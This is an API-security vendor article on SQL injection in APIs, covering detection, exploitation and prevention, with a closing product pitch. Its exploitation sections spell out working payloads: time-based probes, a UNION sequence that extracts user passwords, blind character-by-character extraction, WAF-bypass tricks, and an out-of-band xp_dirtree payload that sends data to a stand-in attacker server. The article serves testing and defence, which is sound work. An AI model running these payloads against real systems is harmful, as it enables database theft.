API Testing

SQL Injection in APIs: Testing, Exploitation, and Prevention

Key takeaways

SQL injection (SQLi) has been around for over two decades, yet APIs keep it dangerously relevant. Most SQLi guides focus on browser-based forms and login pages. APIs create a different problem. JSON bodies, query strings, custom headers, and path parameters all accept user input that reaches backend databases, and traditional scanners routinely miss these surfaces. An attacker does not need a browser to exploit an API. A single cURL command with a malicious payload is enough to bypass authentication and dump an entire database. The scale of the problem is growing. The Verizon Data Breach Investigations Report found that web application attacks, including SQLi, accounted for 12% of all confirmed breaches, up 3% from the prior year.

What Is SQL Injection in APIs?

SQL injection occurs when an attacker inserts malicious Structured Query Language (SQL) statements into input that a backend database executes. In traditional web applications, injection happens through browser-rendered form fields. APIs accept raw data from any client, including mobile apps, partner microservices, or an attacker using cURL, with no browser validation layer in between.

How SQL injection Works in an API Endpoint

A vulnerable Python Flask endpoint using string concatenation:

@app.route('/api/users', methods=['GET']) def get_user(): username = request.args.get('username') query = f"SELECT * FROM users WHERE username = '{username}'" result = db.execute(query) return jsonify(result)

An attacker sends GET /api/users?username=admin' OR 1=1-- and the query becomes SELECT * FROM users WHERE username = 'admin' OR 1=1--', returning every row in the users table.
A successful exploit like that leads directly to sensitive data exposure, leaking credentials, personal records, and payment information in a single response.

API-Specific Injection Surfaces

Unlike web forms, APIs expose multiple injection points that security teams must test:

  • JSON body parameters. POST and PUT requests carry user input in JSON payloads. Many Web Application Firewalls (WAFs) inspect URL parameters but skip JSON body content entirely.

  • Path parameters. RESTful endpoints like /api/users/123 feed path segments into queries. Attackers inject payloads directly through the URL path.

  • HTTP headers. Custom headers such as X-User-ID or X-Tenant sometimes flow into database queries for multi-tenant routing.

  • GraphQL variables. Variables like {"userId": "1' OR '1'='1"} reach SQL queries when resolvers concatenate input directly.

The Open Web Application Security Project (OWASP) API Security Top 10 addresses injection under API8:2023 (Security Misconfiguration), emphasizing how misconfigurations amplify injection risks across the API stack.


How to Test SQL Injection in APIs

Testing SQLi in APIs requires targeting every input channel, not just query strings. A structured approach moves from discovery to confirmation to extraction readiness.

Identify All Injection Surfaces

Before sending any payloads, map every parameter that accepts user input across the API:

  • Query string parameters. GET requests like /api/products?category=electronics pass filters, search terms, and pagination values. Each one is a potential injection point.
  • JSON body fields. POST and PUT requests carry user input in structured payloads. Fields like username, email, search, and filter are common targets. Many WAFs inspect URL parameters but skip JSON body content entirely.
  • Path parameters. RESTful endpoints use path segments as identifiers: /api/users/123. When path values feed into SQL queries without validation, attackers inject payloads through the URL path itself.
  • HTTP headers. Custom headers like X-User-ID, X-Tenant, or X-Forwarded-For sometimes flow into database queries for logging or multi-tenant routing. Developers rarely expect headers to contain malicious input.
  • GraphQL variables. GraphQL APIs accept variables in JSON that resolve into backend queries. A variable like {"userId": "1' OR '1'='1"} can reach a SQL query when resolvers concatenate input directly.

Parse OpenAPI specifications to catalog every parameter across all endpoints. Shadow APIs and undocumented endpoints are often the least protected.

Test Each Parameter with Targeted Payloads

Inject payloads into one parameter at a time while keeping others valid. A 200 OK with unexpected data, a database error message, or a measurable time delay confirms the injection point.

Detection payloads:

  • Inject single quotes (') and double quotes (") into every parameter. Database error messages like "MySQL syntax error near..." in the response confirm the injection surface and reveal the database type.
  • Submit Boolean-based payloads like ' OR 1=1-- and ' OR 1=2-- to compare responses. An API returning all records for the first but zero for the second confirms a vulnerability.

Time-based blind detection:

  • On MySQL, append ' OR SLEEP(5)-- to force a 5-second delay.
  • PostgreSQL uses ' OR pg_sleep(5)--.
  • Oracle uses ' || dbms_pipe.receive_message('a',5)--.
  • Microsoft SQL Server uses '; WAITFOR DELAY '0:0:5'--.
  • A delayed response matching the exact sleep interval confirms injection, even when the API returns no visible errors.

API-specific payload delivery:

  • JSON bodies: {"username": "admin' OR 1=1--"}
  • HTTP headers: X-User-ID: 1' OR '1'='1
  • Query strings: ?search=admin'%20OR%201=1--
  • Path parameters: /api/users/1' OR '1'='1--

Fuzz Inputs for Edge Cases

Standard payloads cover the obvious injection points. Fuzzing uncovers the hidden ones.

  • Fuzz JSON and XML inputs separately. Nested objects, array values, and XML element content often bypass validation that covers only top-level parameters.
  • Test encoded payloads. URL-encoded (%27 for single quote), double-encoded (%2527), and Unicode variations can slip past input filters.
  • Send unexpected data types. If a parameter expects a string, send an integer. If the parameter expects an integer, send a string containing SQL syntax. Type mismatches sometimes bypass validation logic.

Run Automated Scans at Scale

Manual testing covers a handful of endpoints. Automated scanning covers the full API surface on every build.

  • Pass saved HTTP request files to scanners so JSON bodies, headers, and cookies are tested automatically alongside query strings.
  • Generate thousands of injection variations per parameter across every endpoint, covering encoded payloads, nested JSON fields, and header-based injection that manual testing cannot match.
  • Integrate scans into CI/CD pipelines so new endpoints and query changes are tested before code reaches production.

How Attackers Exploit SQL Injection in APIs

Once an injection point is confirmed, attackers escalate from detection to full data extraction. Each exploitation technique targets a different API response behavior.

Error-Based Exploitation

  • Attackers inject malformed queries like ' AND 1=CONVERT(int,(SELECT @@version))-- to force the database to embed sensitive data inside error messages.
  • The database version string appears directly in the API error response, confirming the database type and version.
  • From there, attackers query information_schema.tables to map the entire database structure, then extract targeted records table by table.
  • APIs are especially prone when debug-level error handling from staging environments reaches production unpatched.

UNION-Based Data Extraction

UNION injection is the fastest path to bulk data theft. Attackers append a second SELECT statement to pull data from unrelated tables:

GET /api/products?category=' UNION SELECT username, password FROM users--

The exploitation follows a specific sequence:

  • Determine column count. Test ORDER BY 1--, ORDER BY 2--, incrementing until the API throws an error.
  • Confirm injectable columns. Send UNION SELECT NULL, NULL, NULL-- with incrementing NULLs until the API returns a valid response.
  • Enumerate tables. Replace NULLs with UNION SELECT table_name, NULL FROM information_schema.tables-- to list all database tables.
  • Map columns. Run UNION SELECT column_name, NULL FROM information_schema. columns WHERE table_name='users'-- to identify column names.
  • Extract data. Execute UNION SELECT username, password FROM users-- to pull the actual records.

Blind Exploitation

  • Boolean-based blind exploitation compares two requests to extract data one character at a time:
    • ' AND SUBSTRING(password,1,1)='a'-- (returns 200 if true)
    • ' AND SUBSTRING(password,1,1)='b'-- (returns 404 if false)
  • Iterating through each character position and each possible value eventually reconstructs complete database records.
  • Time-based blind exploitation uses the same logic but measures response delays instead of status codes.
  • Extraction remains possible even when the API returns identical responses for true and false conditions.

Second-Order Exploitation

  • Malicious input submitted through one endpoint (e.g., POST /api/users during registration) gets stored safely in the database.
  • A separate endpoint (e.g., GET /api/users/profile) later retrieves that stored value and incorporates it into a new query without sanitization.
  • Developers trust the data because "it came from the database," creating a delayed-execution injection that evades point-of-entry validation.
  • In microservices architectures, the storing service and the consuming service are often maintained by different teams, making detection even harder.

Out-of-Band Exploitation

  • Out-of-band (OOB) exploitation targets APIs that return no errors, no data reflection, and no measurable timing differences.
  • On Microsoft SQL Server, a payload like EXEC master..xp_dirtree '\attacker-server.com\share' forces the database to make a DNS request to an attacker-controlled domain.
  • A successful DNS lookup confirms code execution, even when the API response reveals nothing.
  • Attackers escalate by embedding query results inside DNS requests, exfiltrating data record by record through lookups that the API never reflects in its responses.

Bypassing WAFs During Exploitation

  • JSON and XML encoding. WAFs blocking SELECT in query strings often skip JSON body values. XML escape sequences like SELECT evade pattern-matching rules.
  • Case variation and inline comments. Payloads like sElEcT or SEL/**/ECT break simple keyword filters while remaining valid SQL.
  • HTTP Parameter Pollution. Duplicate parameters cause the WAF to inspect one value while the backend processes another.
  • Double encoding. Percent-encoding characters (%27 for a single quote) or double-encoding them evades WAFs that decode only once.

Parameterized queries remain the only definitive fix. WAFs add a useful layer but should never serve as the primary defense.

How to Prevent SQL Injection in APIs

Every exploitation technique above succeeds because user input reaches a SQL query as executable code. Prevention closes that gap at each layer of the API stack. The API security checklist covers a full framework.

Here are the specific steps to eliminate SQLi from your APIs:

Step 1: Use Parameterized Queries for Every Database Call

Parameterized queries separate SQL logic from user data, making injection impossible regardless of input content. The secure version of the vulnerable Flask endpoint:

@app.route('/api/users', methods=['GET']) def get_user(): username = request.args.get('username') query = "SELECT * FROM users WHERE username = %s" result = db.execute(query, (username,)) return jsonify(result)

The database engine treats %s as a data placeholder, never as executable SQL. Apply parameterized queries to every query in every endpoint, including search filters, pagination, and sorting parameters.

Step 2: Validate and Type-Check All Inputs

Enforce strict type checking on every parameter at the API gateway level. If an endpoint expects an integer ID, reject any value containing non-numeric characters before the request reaches application code. Use allowlists for fields that accept a fixed set of values, like sort columns or filter names. Schema validation catches malformed payloads before they touch a database.

Step 3: Restrict Database User Privileges

Connect each API service to the database with a dedicated account that has only the permissions the service requires. A read-only endpoint should use SELECT-only credentials. Even if the injection succeeds, the attacker cannot execute DROP, UPDATE, or INSERT commands. Separate database accounts per microservice to limit blast radius in multi-service architectures.

Step 4: Suppress Verbose Error Messages

Replace database stack traces with generic error responses (e.g., 400 Bad Request) in all production environments. Error-based exploitation depends entirely on the API revealing database internals. Logging detailed errors server-side for debugging while returning sanitized messages to clients eliminates the error-based attack vector completely.

Step 5: Integrate Automated Testing into CI/CD

New API endpoints and query changes reintroduce injection flaws with every release. Automated API security testing in Continuous Integration/Continuous Deployment (CI/CD) pipelines catches regressions before code reaches production. Manual penetration testing covers a point in time. Automated scanning covers every build.

Close the Injection Gap Before Attackers Do

SQL injection in APIs is dangerous precisely because attackers bypass every browser-based protection, targeting endpoints directly through JSON payloads, headers, and query parameters that most security tools overlook. Parameterized queries stop the injection at its root. Input validation, least-privilege database accounts, and suppressed error messages limit the damage if any layer fails. Automated testing in every CI/CD pipeline ensures new code never reintroduces a vulnerability that was already fixed.

APIsec scans every API endpoint for injection flaws, OWASP API Top 10 vulnerabilities, and business logic errors, catching what manual testing and legacy scanners miss.

Start a free scan
and find out what your current tools are not detecting.

FAQs

Does the OWASP Top 10 still include SQL injection?

SQLi falls under A03:2021 (Injection) in the OWASP web application Top 10. In the OWASP API Security Top 10, injection risks are covered under security misconfiguration and unsafe data consumption.

Can parameterized queries stop all SQL injection?

Parameterized queries prevent injection in data values (WHERE, INSERT, UPDATE clauses). Dynamic table names, column names, and ORDER BY clauses need input whitelisting.

Why is second-order SQL injection harder to detect?

The payload enters through one endpoint and executes through a different one. The time gap between storage and execution causes most single-request scanners to miss the vulnerability.

How is SQL injection in APIs different from web application SQL injection?

API injection occurs through JSON bodies, query parameters, path segments, and headers rather than HTML form fields. Attackers use tools like cURL instead of browsers, bypassing client-side validation and many WAF rules entirely.

Can a WAF fully protect APIs from SQL injection?

WAFs filter known attack patterns but cannot stop injection through JSON body encoding, double encoding, inline comments, or HTTP Parameter Pollution. Parameterized queries at the code level remain the only complete defense.